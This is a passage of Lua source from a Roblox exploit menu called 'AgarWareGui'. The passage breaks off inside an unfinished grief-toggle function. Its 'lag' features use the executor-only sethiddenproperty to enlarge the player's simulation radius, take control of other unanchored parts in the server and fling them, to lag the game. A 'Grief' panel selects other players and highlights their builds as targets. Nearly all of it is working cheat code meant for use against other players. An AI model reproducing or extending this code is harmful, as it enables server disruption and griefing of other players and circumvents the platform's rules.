	print("[BlockSize] Size changer loaded - Default: 1")
end;
task.spawn(C_1b9);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockAmountRow.BlockAmountView.BlockAmountViewScript
local function C_1bd()
local script = G2L["1bd"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local BlockAmountView = script.Parent
	local BlockAmountRow = BlockAmountView.Parent
	local LagGroup = BlockAmountRow.Parent
	
	-- Track spam blocks count
	local spamBlockCount = 0
	
	-- ============================================================
	-- UPDATE DISPLAY
	-- ============================================================
	local function updateDisplay()
		BlockAmountView.Text = "Block Count: " .. spamBlockCount
	end
	
	-- ============================================================
	-- MARK BLOCK AS SPAM AND TRACK IT
	-- ============================================================
	local function markAndTrackBlock(block)
		if not block or not block:IsA("BasePart") then
			return
		end
	
		-- Check if already marked
		if block:GetAttribute("IsSpamBlock") then
			return
		end
	
		-- Mark this block as a spam block
		block:SetAttribute("IsSpamBlock", true)
		spamBlockCount = spamBlockCount + 1
		updateDisplay()
	
		-- Watch for deletion
		block.AncestryChanged:Connect(function()
			if not block:IsDescendantOf(workspace) then
				if block:GetAttribute("IsSpamBlock") then
					spamBlockCount = spamBlockCount - 1
					if spamBlockCount < 0 then spamBlockCount = 0 end
					updateDisplay()
				end
			end
		end)
	end
	
	-- ============================================================
	-- WATCH SPAM BLOCKS
	-- ============================================================
	local activeWatcher = nil
	
	local function startWatching()
		if activeWatcher then
			return -- Already watching
		end
	
		local playerFolder = workspace:WaitForChild("Bricks"):FindFirstChild(LocalPlayer.Name)
		if not playerFolder then
			warn("[BlockAmount] Player brick folder not found")
			return
		end
	
		print("[BlockAmount] Started watching for spam blocks")
	
		activeWatcher = playerFolder.ChildAdded:Connect(function(child)
			if child.Name == "Brick" and child:IsA("BasePart") then
				-- Mark and track this spam block
				markAndTrackBlock(child)
			end
		end)
	end
	
	local function stopWatching()
		if activeWatcher then
			activeWatcher:Disconnect()
			activeWatcher = nil
			print("[BlockAmount] Stopped watching for spam blocks")
		end
	end
	
	-- ============================================================
	-- GLOBAL API FOR BLOCKSPAM SCRIPT
	-- ============================================================
	_G.BlockAmountTracker = {
		StartWatching = startWatching,
		StopWatching = stopWatching,
		Reset = function()
			spamBlockCount = 0
			updateDisplay()
		end
	}
	
	-- ============================================================
	-- INITIALIZE
	-- ============================================================
	updateDisplay()
	
	print("[BlockAmount] Block counter initialized - waiting for spam to start")
end;
task.spawn(C_1bd);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.ReduceLagRow.ReduceLagScript
local function C_1bf()
local script = G2L["1bf"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local ReduceLagRow = script.Parent
	local ReduceLagTickBox = ReduceLagRow:WaitForChild("ReduceLagTickBox")
	local LagGroup = ReduceLagRow.Parent
	
	local function getAccentColor()
		local a = LagGroup:FindFirstChild("LagAccentColor")
		return a and a.BackgroundColor3 or Color3.new(1, 1, 1)
	end
	
	-- State
	local isEnabled = false
	local trackedBlocks = {} -- Store original properties
	
	-- ============================================================
	-- DISABLE EFFECTS ON A BLOCK
	-- ============================================================
	local function disableEffects(block)
		if not block or not block:IsA("BasePart") then return end
		if not block:GetAttribute("IsSpamBlock") then return end
	
		-- Store original properties (don't skip if already tracked - force update)
		if not trackedBlocks[block] then
			trackedBlocks[block] = {
				Material = block.Material,
				CastShadow = block.CastShadow,
				Sprays = {},
				Light = nil
			}
		end
	
		-- FORCE disable Material (Neon -> Air)
		if block.Material == Enum.Material.Neon then
			trackedBlocks[block].Material = Enum.Material.Neon
		end
		block.Material = Enum.Material.Air
	
		-- FORCE disable CastShadow
		block.CastShadow = false
	
		-- FORCE disable all Spray effects
		for _, child in ipairs(block:GetChildren()) do
			if child.Name == "Spray" then
				-- Handle Texture, Decal, or SurfaceGui
				if child:IsA("Texture") or child:IsA("Decal") or child:IsA("SurfaceGui") then
					if child.Enabled then
						trackedBlocks[block].Sprays[child] = true
					end
					child.Enabled = false
				end
			end
		end
	
		-- FORCE disable Light
		local light = block:FindFirstChild("Light")
		if light and light:IsA("Light") then
			if light.Enabled then
				trackedBlocks[block].Light = true
			end
			light.Enabled = false
		end
	end
	
	-- ============================================================
	-- RESTORE EFFECTS ON A BLOCK
	-- ============================================================
	local function restoreEffects(block)
		if not block or not block:IsA("BasePart") then return end
		if not block:GetAttribute("IsSpamBlock") then return end
	
		local original = trackedBlocks[block]
	
		-- FORCE restore Material (even if not tracked)
		if block.Material == Enum.Material.Air then
			if original and original.Material then
				block.Material = original.Material
			else
				block.Material = Enum.Material.Neon -- Default to Neon if not tracked
			end
		end
	
		-- FORCE restore CastShadow
		if original and original.CastShadow ~= nil then
			block.CastShadow = original.CastShadow
		else
			block.CastShadow = true -- Default to true
		end
	
		-- FORCE restore Sprays
		for _, child in ipairs(block:GetChildren()) do
			if child.Name == "Spray" then
				if child:IsA("Texture") or child:IsA("Decal") or child:IsA("SurfaceGui") then
					if original and original.Sprays[child] ~= nil then
						child.Enabled = original.Sprays[child]
					else
						child.Enabled = true -- Default to enabled
					end
				end
			end
		end
	
		-- FORCE restore Light
		local light = block:FindFirstChild("Light")
		if light and light:IsA("Light") then
			if original and original.Light ~= nil then
				light.Enabled = original.Light
			else
				light.Enabled = true -- Default to enabled
			end
		end
	
		-- Remove from tracking
		if original then
			trackedBlocks[block] = nil
		end
	end
	
	-- ============================================================
	-- PROCESS ALL EXISTING SPAM BLOCKS
	-- ============================================================
	local function processAllBlocks()
		local playerFolder = workspace:WaitForChild("Bricks"):FindFirstChild(LocalPlayer.Name)
		if not playerFolder then return end
	
		for _, block in ipairs(playerFolder:GetChildren()) do
			if block.Name == "Brick" and block:GetAttribute("IsSpamBlock") then
				if isEnabled then
					disableEffects(block)
				else
					restoreEffects(block)
				end
			end
		end
	end
	
	-- ============================================================
	-- WATCH FOR NEW SPAM BLOCKS
	-- ============================================================
	local blockAddedConnection
	
	local function startWatching()
		if blockAddedConnection then
			blockAddedConnection:Disconnect()
		end
	
		local playerFolder = workspace:WaitForChild("Bricks"):FindFirstChild(LocalPlayer.Name)
		if not playerFolder then return end
	
		blockAddedConnection = playerFolder.ChildAdded:Connect(function(child)
			if child.Name == "Brick" then
				-- Wait for IsSpamBlock attribute to be set
				task.wait(0.1)
	
				if child:GetAttribute("IsSpamBlock") then
					if isEnabled then
						-- Wait a bit more for sprays/light to be added
						task.wait(0.2)
	
						-- FORCE disable effects on new block
						disableEffects(child)
						print("[ReduceLag] Applied to new block:", child)
					end
				end
			end
		end)
	end
	
	local function stopWatching()
		if blockAddedConnection then
			blockAddedConnection:Disconnect()
			blockAddedConnection = nil
		end
	end
	
	-- ============================================================
	-- WATCH FOR BLOCK DELETION
	-- ============================================================
	local function watchBlockDeletion(block)
		block.AncestryChanged:Connect(function()
			if not block:IsDescendantOf(workspace) then
				-- Block deleted, remove from tracking
				trackedBlocks[block] = nil
			end
		end)
	end
	
	-- ============================================================
	-- ENABLE/DISABLE
	-- ============================================================
	local function enable()
		isEnabled = true
		ReduceLagTickBox.BackgroundColor3 = getAccentColor()
	
		-- Process all existing blocks
		processAllBlocks()
	
		print("[ReduceLag] Enabled - effects disabled on spam blocks")
	end
	
	local function disable()
		isEnabled = false
		ReduceLagTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
		-- Restore all blocks
		processAllBlocks()
	
		print("[ReduceLag] Disabled - effects restored on spam blocks")
	end
	
	-- ============================================================
	-- TOGGLE
	-- ============================================================
	local function toggle()
		if isEnabled then
			disable()
		else
			enable()
		end
	end
	
	-- ============================================================
	-- CLICK HANDLER
	-- ============================================================
	ReduceLagTickBox.MouseButton1Click:Connect(toggle)
	
	-- ============================================================
	-- WATCH FOR NEW BLOCKS ALWAYS (to track deletions)
	-- ============================================================
	local playerFolder = workspace:WaitForChild("Bricks"):FindFirstChild(LocalPlayer.Name)
	if playerFolder then
		playerFolder.ChildAdded:Connect(function(child)
			if child.Name == "Brick" and child:GetAttribute("IsSpamBlock") then
				watchBlockDeletion(child)
			end
		end)
	end
	
	-- ============================================================
	-- INITIALIZE
	-- ============================================================
	ReduceLagTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
	-- Start watching for new blocks immediately (even when disabled)
	startWatching()
	
	print("[ReduceLag] Script loaded - OFF by default")
end;
task.spawn(C_1bf);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLagRow.BlackholeLagScript
local function C_1c3()
local script = G2L["1c3"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	local RunService = game:GetService("RunService")
	
	local BlackholeLagRow = script.Parent
	local LagGroup = BlackholeLagRow.Parent
	local BlackholeLagTickBox = BlackholeLagRow:WaitForChild("BlackholeLagTickBox")
	
	-- Get TP button
	local TPBlackholeRow = LagGroup:FindFirstChild("TPBlackholeRow")
	local TPBlackholeButton = TPBlackholeRow and TPBlackholeRow:FindFirstChild("TPBlackholeButton")
	
	-- Get Orbit toggle and speed changer
	local OrbitBlackholeRow = LagGroup:FindFirstChild("OrbitBlackholeRow")
	local OrbitBlackholeTickBox = OrbitBlackholeRow and OrbitBlackholeRow:FindFirstChild("OrbitBlackholeTickBox")
	local OrbitBlackholeChanger = OrbitBlackholeRow and OrbitBlackholeRow:FindFirstChild("OrbitBlackholeChanger")
	
	-- State
	local isEnabled = false
	local bodyPositions = {}
	local monitorConnection = nil
	local sizeWatchConnection = nil
	local handlesPart = nil
	local dragConnections = {}
	local targetPosition = nil
	local lastBlackholePosition = nil -- Remember last position
	local isOrbiting = false
	local orbitSpeed = 10 -- Default speed
	local isPaused = false -- Pause during block processing
	
	local PICKUP_RADIUS = 2000
	
	local UserInputService = game:GetService("UserInputService")
	
	local function getAccentColor()
		local a = LagGroup:FindFirstChild("LagAccentColor")
		return a and a.BackgroundColor3 or Color3.new(1, 1, 1)
	end
	
	-- Get current target size
	local function getTargetSize()
		local targetSizeValue = LagGroup:FindFirstChild("TargetBlockSize")
		return targetSizeValue and targetSizeValue.Value or 1
	end
	
	-- Update handles part size
	local function updateHandlesSize()
		if not handlesPart then return end
	
		local targetSize = getTargetSize()
		local handleSize = targetSize + 1
	
		handlesPart.Size = Vector3.new(handleSize, handleSize, handleSize)
	end
	
	-- Set replication focus and simulation radius
	LocalPlayer.ReplicationFocus = workspace
	pcall(function()
		sethiddenproperty(LocalPlayer, "SimulationRadius", PICKUP_RADIUS)
	end)
	
	-- Function to check if part is truly unanchored
	local function isTrulyUnanchored(part)
		return not part:IsGrounded()
	end
	
	-- Function to retain block properties
	local function retainBlock(block)
		local originalProps = {
			canCollide = block.CanCollide,
			canTouch = block.CanTouch,
			customPhysics = block.CustomPhysicalProperties
		}
	
		block.CustomPhysicalProperties = PhysicalProperties.new(0.01, 0, 0, 0, 0)
		block.CanCollide = false
		block.CanTouch = false
	
		return originalProps
	end
	
	-- Function to add bodyposition to block
	local function addBodyPosition(block)
		if bodyPositions[block] then return end
	
		local originalProps = retainBlock(block)
	
		local mass = block:GetMass()
		local bp = Instance.new("BodyPosition")
		bp.Name = "BlackholeBP"
		bp.P = mass / 0.64e-5
		bp.D = mass / 0.64e-3
		bp.MaxForce = Vector3.new(mass / 0.64e-6, mass / 0.64e-6, mass / 0.64e-6)
		bp.Parent = block
	
		bodyPositions[block] = {bp = bp, props = originalProps}
	end
	
	-- Function to check if block is a lag machine block
	local function isLagMachineBlock(obj)
		if not obj:IsA("BasePart") and not obj:IsA("UnionOperation") then
			return false
		end
	
		if obj.Anchored then
			return false
		end
	
		-- Skip player characters
		for _, player in ipairs(Players:GetPlayers()) do
			if player.Character and obj:IsDescendantOf(player.Character) then
				return false
			end
		end
	
		-- Skip the selected block (check if it has BlockSpamWeld connecting to player)
		local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
		if hrp then
			for _, child in ipairs(hrp:GetChildren()) do
				if child:IsA("WeldConstraint") and child.Name == "BlockSpamWeld" then
					if child.Part0 == obj or child.Part1 == obj then
						return false -- This is the selected/welded block, skip it
					end
				end
			end
		end
	
		-- Check if unanchored and has Drag (lag machine blocks)
		if not obj:FindFirstChild("Drag") then
			return false
		end
	
		if not isTrulyUnanchored(obj) then
			return false
		end
	
		return true
	end
	
	-- Function to check and add block
	local function checkAndAddBlock(obj)
		if isLagMachineBlock(obj) and not bodyPositions[obj] then
			addBodyPosition(obj)
		end
	end
	
	-- Create handles part with custom drag
	local function createHandles()
		local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
		if not hrp then return end
	
		local targetSize = getTargetSize()
		local handleSize = targetSize + 1
	
		-- Determine spawn position
		local spawnPosition
		if lastBlackholePosition then
			-- Use last position if we had one
			spawnPosition = lastBlackholePosition
		else
			-- First time: try to find welded block position
			local weldedBlock = nil
			for _, child in ipairs(hrp:GetChildren()) do
				if child:IsA("WeldConstraint") and child.Name == "BlockSpamWeld" then
					weldedBlock = child.Part1 or child.Part0
					if weldedBlock == hrp then
						weldedBlock = child.Part0 or child.Part1
					end
					break
				end
			end
	
			if weldedBlock then
				spawnPosition = weldedBlock.Position
			else
				-- Fallback: above head
				spawnPosition = Vector3.new(hrp.Position.X, hrp.Position.Y + 10, hrp.Position.Z)
			end
		end
	
		handlesPart = Instance.new("Part")
		handlesPart.Name = "BlackholeHandlesPart"
		handlesPart.Size = Vector3.new(handleSize, handleSize, handleSize)
		handlesPart.Position = spawnPosition
		handlesPart.Anchored = true
		handlesPart.CanCollide = false
		handlesPart.Transparency = 0.5
		handlesPart.Material = Enum.Material.ForceField
		handlesPart.BrickColor = BrickColor.new("Bright blue")
		handlesPart.Parent = workspace
	
		-- Add SelectionBox for visibility
		local selectionBox = Instance.new("SelectionBox")
		selectionBox.Adornee = handlesPart
		selectionBox.LineThickness = 0.05
		selectionBox.Color3 = Color3.fromRGB(0, 170, 255)
		selectionBox.Parent = handlesPart
	
		targetPosition = handlesPart.Position
	
		-- Custom drag system (works on mobile AND PC)
		local dragging = false
		local dragStart = nil
		local dragStartPos = nil
		local originalCameraType = nil
	
		local function startDrag(input)
			-- Don't allow dragging if orbiting
			if isOrbiting then return end
	
			dragging = true
			dragStart = input.Position
			dragStartPos = handlesPart.Position
	
			-- Lock camera while dragging
			local camera = workspace.CurrentCamera
			originalCameraType = camera.CameraType
			camera.CameraType = Enum.CameraType.Scriptable
		end
	
		local function updateDrag(input)
			if not dragging then return end
	
			local camera = workspace.CurrentCamera
			local delta = input.Position - dragStart
	
			local worldDelta =
				camera.CFrame.RightVector * (delta.X * 0.05)
				+ camera.CFrame.UpVector * (-delta.Y * 0.05)
	
			handlesPart.Position = dragStartPos + worldDelta
			targetPosition = handlesPart.Position
		end
	
		local function stopDrag()
			dragging = false
			dragStart = nil
			dragStartPos = nil
	
			-- Unlock camera
			if originalCameraType then
				local camera = workspace.CurrentCamera
				camera.CameraType = originalCameraType
				originalCameraType = nil
			end
		end
	
		table.insert(dragConnections, UserInputService.InputBegan:Connect(function(input)
			if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
				local mouse = LocalPlayer:GetMouse()
				if mouse.Target == handlesPart then
					startDrag(input)
				end
			end
		end))
	
		table.insert(dragConnections, UserInputService.InputChanged:Connect(function(input)
			if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
				updateDrag(input)
			end
		end))
	
		table.insert(dragConnections, UserInputService.InputEnded:Connect(function(input)
			if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
				stopDrag()
			end
		end))
	
		-- Watch for size changes
		sizeWatchConnection = RunService.Heartbeat:Connect(function()
			if isEnabled then
				updateHandlesSize()
			end
		end)
	end
	
	-- Destroy handles
	local function destroyHandles()
		-- Unlock camera if it was locked
		local camera = workspace.CurrentCamera
		if camera.CameraType == Enum.CameraType.Scriptable then
			camera.CameraType = Enum.CameraType.Custom
		end
	
		if handlesPart then
			handlesPart:Destroy()
			handlesPart = nil
		end
	
		for _, connection in ipairs(dragConnections) do
			connection:Disconnect()
		end
		dragConnections = {}
	
		if sizeWatchConnection then
			sizeWatchConnection:Disconnect()
			sizeWatchConnection = nil
		end
	
		targetPosition = nil
	end
	
	-- Release all blocks WITH EXPLOSION
	local function releaseAllBlocks()
		for block, data in pairs(bodyPositions) do
			if block and block.Parent then
				if data.bp and data.bp.Parent then
					data.bp:Destroy()
				end
	
				if data.props then
					block.CustomPhysicalProperties = data.props.customPhysics
					block.CanCollide = data.props.canCollide
					block.CanTouch = data.props.canTouch
				end
	
				-- EXPLODE: Random direction for each block with MAX force
				local randomDirection = Vector3.new(
					math.random() * 2 - 1,
					math.random() * 2 - 1,
					math.random() * 2 - 1
				).Unit
	
				local explosionForce = 500
				block.AssemblyLinearVelocity = randomDirection * explosionForce
			end
		end
	
		bodyPositions = {}
	end
	
	-- Enable blackhole
	local function enable()
		isEnabled = true
		BlackholeLagTickBox.BackgroundColor3 = getAccentColor()
	
		for _, obj in ipairs(workspace:GetDescendants()) do
			checkAndAddBlock(obj)
		end
	
		workspace.DescendantAdded:Connect(function(obj)
			if isEnabled then
				checkAndAddBlock(obj)
			end
		end)
	
		createHandles()
	
		monitorConnection = RunService.Heartbeat:Connect(function()
			if not isEnabled or not targetPosition then return end
	
			-- Orbit logic
			if isOrbiting then
				local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
				if hrp and handlesPart then
					-- Calculate orbit position
					-- Speed 10 = 5 seconds per rotation
					-- Speed scales linearly: speed 20 = 2.5 seconds, speed 5 = 10 seconds
					local rotationTime = 35 / orbitSpeed -- 50 / 10 = 5 seconds at default
					local angle = (tick() / rotationTime) * (math.pi * 2)
	
					local orbitRadius = 15
					local offsetX = math.cos(angle) * orbitRadius
					local offsetZ = math.sin(angle) * orbitRadius
	
					handlesPart.Position = hrp.Position + Vector3.new(offsetX, 0, offsetZ)
					targetPosition = handlesPart.Position
				end
			end
	
			-- Only update block positions if not paused
			if not isPaused then
				for block, data in pairs(bodyPositions) do
					if block and block.Parent and data.bp and data.bp.Parent then
						data.bp.Position = targetPosition
					end
				end
			end
	
			pcall(function()
				sethiddenproperty(LocalPlayer, "SimulationRadius", PICKUP_RADIUS)
			end)
		end)
	
		print("[BlackholeLag] Enabled")
	end
	
	-- Disable blackhole
	local function disable()
		isEnabled = false
		BlackholeLagTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
		-- Save last position before destroying
		if handlesPart then
			lastBlackholePosition = handlesPart.Position
		end
	
		if monitorConnection then
			monitorConnection:Disconnect()
			monitorConnection = nil
		end
	
		releaseAllBlocks()
		destroyHandles()
	
		print("[BlackholeLag] Disabled")
	end
	
	local function toggle()
		if isEnabled then
			disable()
		else
			enable()
		end
	end
	
	BlackholeLagTickBox.MouseButton1Click:Connect(toggle)
	
	BlackholeLagTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
	-- TP Blackhole button
	if TPBlackholeButton then
		TPBlackholeButton.MouseButton1Click:Connect(function()
			if not isEnabled then
				TPBlackholeButton.Text = "Enable Blackhole First!"
				task.wait(1)
				TPBlackholeButton.Text = "TP Blackhole"
				return
			end
	
			if not handlesPart then return end
	
			local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
			if not hrp then return end
	
			-- TP blackhole above head
			handlesPart.Position = Vector3.new(hrp.Position.X, hrp.Position.Y + 10, hrp.Position.Z)
			targetPosition = handlesPart.Position
			lastBlackholePosition = handlesPart.Position
	
			print("[BlackholeLag] Teleported above head")
		end)
	end
	
	-- Orbit Blackhole toggle
	if OrbitBlackholeTickBox then
		OrbitBlackholeTickBox.MouseButton1Click:Connect(function()
			isOrbiting = not isOrbiting
	
			if isOrbiting then
				OrbitBlackholeTickBox.BackgroundColor3 = getAccentColor()
				print("[BlackholeLag] Orbit enabled")
			else
				OrbitBlackholeTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
				print("[BlackholeLag] Orbit disabled")
			end
		end)
	
		OrbitBlackholeTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	end
	
	-- Orbit speed changer
	if OrbitBlackholeChanger then
		OrbitBlackholeChanger.FocusLost:Connect(function()
			local text = OrbitBlackholeChanger.Text
			local num = tonumber(text)
	
			if num and num > 0 then
				orbitSpeed = num
				OrbitBlackholeChanger.Text = tostring(num)
				print("[BlackholeLag] Orbit speed set to:", num)
			else
				OrbitBlackholeChanger.Text = tostring(orbitSpeed)
			end
		end)
	
		OrbitBlackholeChanger.Text = "10"
	end
	
	-- Listen to block processing webhooks
	if not _G.LagMachineWebhook then
		_G.LagMachineWebhook = {}
	end
	
	_G.LagMachineWebhook.OnProcessingStarted = function()
		if isEnabled then
			isPaused = true
			print("[BlackholeLag] Paused during block processing")
		end
	end
	
	_G.LagMachineWebhook.OnProcessingFinished = function()
		if isEnabled then
			isPaused = false
			print("[BlackholeLag] Resumed after block processing")
		end
	end
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			disable()
		end
	end)
	
	print("[BlackholeLag] Script loaded - OFF by default")
end;
task.spawn(C_1c3);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefScript
local function C_1cf()
local script = G2L["1cf"];
	-- GriefScript (inside GriefGroup)
	local GriefGroup = script.Parent
	local GriefMinimize = GriefGroup.GriefTitle.GriefMinimize
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(GriefGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = GriefGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	GriefMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			GriefGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			GriefMinimize.Text = "+"
		else
			GriefGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			GriefMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_1cf);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.SelectDRow.SelectDScript
local function C_1d5()
local script = G2L["1d5"];
	local Players = game:GetService("Players")
	
	local SelectDRow = script.Parent
	local SelectDDropdown = SelectDRow:WaitForChild("SelectDDropdown")
	
	repeat task.wait() until shared.DropdownMaster
	
	local function updateSelectedPlayers(selected)
		local names = {}
		for name, _ in pairs(selected) do
			table.insert(names, name)
		end
		SelectDRow:SetAttribute("SelectedPlayers", table.concat(names, ","))
		shared.GriefSelectedPlayers = selected
	end
	
	shared.DropdownMaster.create({
		dropdown = SelectDDropdown,
		multiSelect = true,
		showIcons = true,
	
		onMultiSelectChange = function(selected)
			updateSelectedPlayers(selected)
		end,
	
		bottomButtons = {
			{
				text = "Select All",
				onClick = function(state)
					-- Clear and repopulate the DROPDOWN's selectedPlayers
					for k in pairs(state.selectedPlayers) do
						state.selectedPlayers[k] = nil
					end
					for _, p in pairs(Players:GetPlayers()) do
						state.selectedPlayers[p.Name] = true
					end
					-- Update main label
					local count = 0
					for _ in pairs(state.selectedPlayers) do count = count + 1 end
					state.mainLabel.Text = count .. " Players Selected"
					-- Notify change
					state.notifyChange()
					-- Rebuild visual
					state.rebuildList()
				end
			},
			{
				text = "Unselect All",
				onClick = function(state)
					-- Clear the DROPDOWN's selectedPlayers
					for k in pairs(state.selectedPlayers) do
						state.selectedPlayers[k] = nil
					end
					-- Update main label
					state.mainLabel.Text = "Select Players"
					-- Notify change
					state.notifyChange()
					-- Rebuild visual
					state.rebuildList()
				end
			},
			{
				text = "Show Display",
				onClick = function(state)
					state.setShowDisplay(not state.showDisplay)
					state.button.Text = state.showDisplay and "Show Username" or "Show Display"
					state.rebuildList()
				end
			}
		}
	})
	
	SelectDRow:SetAttribute("SelectedPlayers", "")
end;
task.spawn(C_1d5);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.HLBlockRow.HLBlockScript
local function C_1da()
local script = G2L["1da"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local HLBlockRow = script.Parent
	local GriefGroup = HLBlockRow.Parent
	local GriefAccentColor = GriefGroup:WaitForChild("GriefAccentColor")
	local HLBlockTickBox = HLBlockRow:WaitForChild("HLBlockTickBox")
	
	-- Get the SelectD row to access selected players
	local SelectDRow = GriefGroup:FindFirstChild("SelectDRow")
	
	-- State
	local isEnabled = false
	local highlights = {} -- Store all highlights so we can remove them later
	
	-- ============================================================
	-- UPDATE VISUAL
	-- ============================================================
	local function updateVisual()
		if isEnabled then
			HLBlockTickBox.BackgroundColor3 = GriefAccentColor.BackgroundColor3
		else
			HLBlockTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
		end
	end
	
	updateVisual()
	
	-- ============================================================
	-- GET SELECTED PLAYERS
	-- ============================================================
	local function getSelectedPlayers()
		-- Method 1: Use shared table (fastest)
		if shared.GriefSelectedPlayers then
			return shared.GriefSelectedPlayers
		end
	
		-- Method 2: Parse attribute (fallback)
		if SelectDRow then
			local attr = SelectDRow:GetAttribute("SelectedPlayers")
			if attr and attr ~= "" then
				local players = {}
				for name in string.gmatch(attr, "[^,]+") do
					players[name] = true
				end
				return players
			end
		end
	
		return {}
	end
	
	-- ============================================================
	-- GET PLAYER'S BLOCKS
	-- ============================================================
	local function getPlayerBlocks(playerName)
		local blocks = {}
		local bricksFolder = workspace:FindFirstChild("Bricks")
		if not bricksFolder then return blocks end
	
		local playerFolder = bricksFolder:FindFirstChild(playerName)
		if not playerFolder then return blocks end
	
		-- Get all bricks in the player's folder
		for _, brick in ipairs(playerFolder:GetChildren()) do
			if brick:IsA("BasePart") and brick.Name == "Brick" then
				table.insert(blocks, brick)
			end
		end
	
		return blocks
	end
	
	-- ============================================================
	-- REMOVE ALL HIGHLIGHTS
	-- ============================================================
	local function removeAllHighlights()
		for _, highlight in ipairs(highlights) do
			if highlight and highlight.Parent then
				highlight:Destroy()
			end
		end
		highlights = {}
	end
	
	-- ============================================================
	-- HIGHLIGHT BLOCKS
	-- ============================================================
	local function highlightBlocks()
		removeAllHighlights()
	
		local selectedPlayers = getSelectedPlayers()
		local totalBlocks = 0
	
		for playerName, _ in pairs(selectedPlayers) do
			local blocks = getPlayerBlocks(playerName)
	
			for _, brick in ipairs(blocks) do
				-- Create red cham highlight (no outline)
				local highlight = Instance.new("Highlight")
				highlight.Adornee = brick
				highlight.FillColor = Color3.fromRGB(255, 0, 0) -- Red
				highlight.OutlineColor = Color3.fromRGB(255, 0, 0) -- Same as fill
				highlight.FillTransparency = 0.7 -- More transparent
				highlight.OutlineTransparency = 1 -- No outline
				highlight.Parent = brick
	
				table.insert(highlights, highlight)
				totalBlocks = totalBlocks + 1
			end
		end
	end
	
	-- ============================================================
	-- WATCH FOR NEW BLOCKS
	-- ============================================================
	local blockWatcher = nil
	
	local function startWatching()
		local bricksFolder = workspace:FindFirstChild("Bricks")
		if not bricksFolder then return end
	
		blockWatcher = bricksFolder.DescendantAdded:Connect(function(descendant)
			if not isEnabled then return end
			if not descendant:IsA("BasePart") or descendant.Name ~= "Brick" then return end
	
			-- Check if this brick belongs to a selected player
			local playerFolder = descendant.Parent
			if not playerFolder or playerFolder.Parent ~= bricksFolder then return end
	
			local selectedPlayers = getSelectedPlayers()
			if selectedPlayers[playerFolder.Name] then
				-- Highlight this new brick
				task.wait(0.1) -- Wait a bit for the brick to settle
	
				if descendant and descendant:IsDescendantOf(workspace) then
					local highlight = Instance.new("Highlight")
					highlight.Adornee = descendant
					highlight.FillColor = Color3.fromRGB(255, 0, 0)
					highlight.OutlineColor = Color3.fromRGB(255, 0, 0)
					highlight.FillTransparency = 0.7 -- More transparent
					highlight.OutlineTransparency = 1 -- No outline
					highlight.Parent = descendant
	
					table.insert(highlights, highlight)
				end
			end
		end)
	end
	
	local function stopWatching()
		if blockWatcher then
			blockWatcher:Disconnect()
			blockWatcher = nil
		end
	end
	
	-- ============================================================
	-- ENABLE / DISABLE
	-- ============================================================
	local function enable()
		isEnabled = true
		updateVisual()
	
		highlightBlocks()
		startWatching()
	end
	
	local function disable()
		isEnabled = false
		updateVisual()
	
		removeAllHighlights()
		stopWatching()
	end
	
	-- ============================================================
	-- TICKBOX TOGGLE
	-- ============================================================
	HLBlockTickBox.MouseButton1Click:Connect(function()
		if isEnabled then
			disable()
		else
			enable()
		end
	end)
	
	-- ============================================================
	-- WATCH FOR SELECTION CHANGES
	-- ============================================================
	if SelectDRow then
		SelectDRow:GetAttributeChangedSignal("SelectedPlayers"):Connect(function()
			if isEnabled then
				-- Re-highlight with new selection
				highlightBlocks()
			end
		end)
	end
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			if isEnabled then
				disable()
			end
		end
	end)
	
	-- ============================================================
	-- AUTO-ENABLE ON STARTUP
	-- ============================================================
	enable()
end;
task.spawn(C_1da);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.ToggleGriefRow.ToggleGriefScript
local function C_1de()
local script = G2L["1de"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local ToggleGriefRow = script.Parent
	local GriefGroup = ToggleGriefRow.Parent
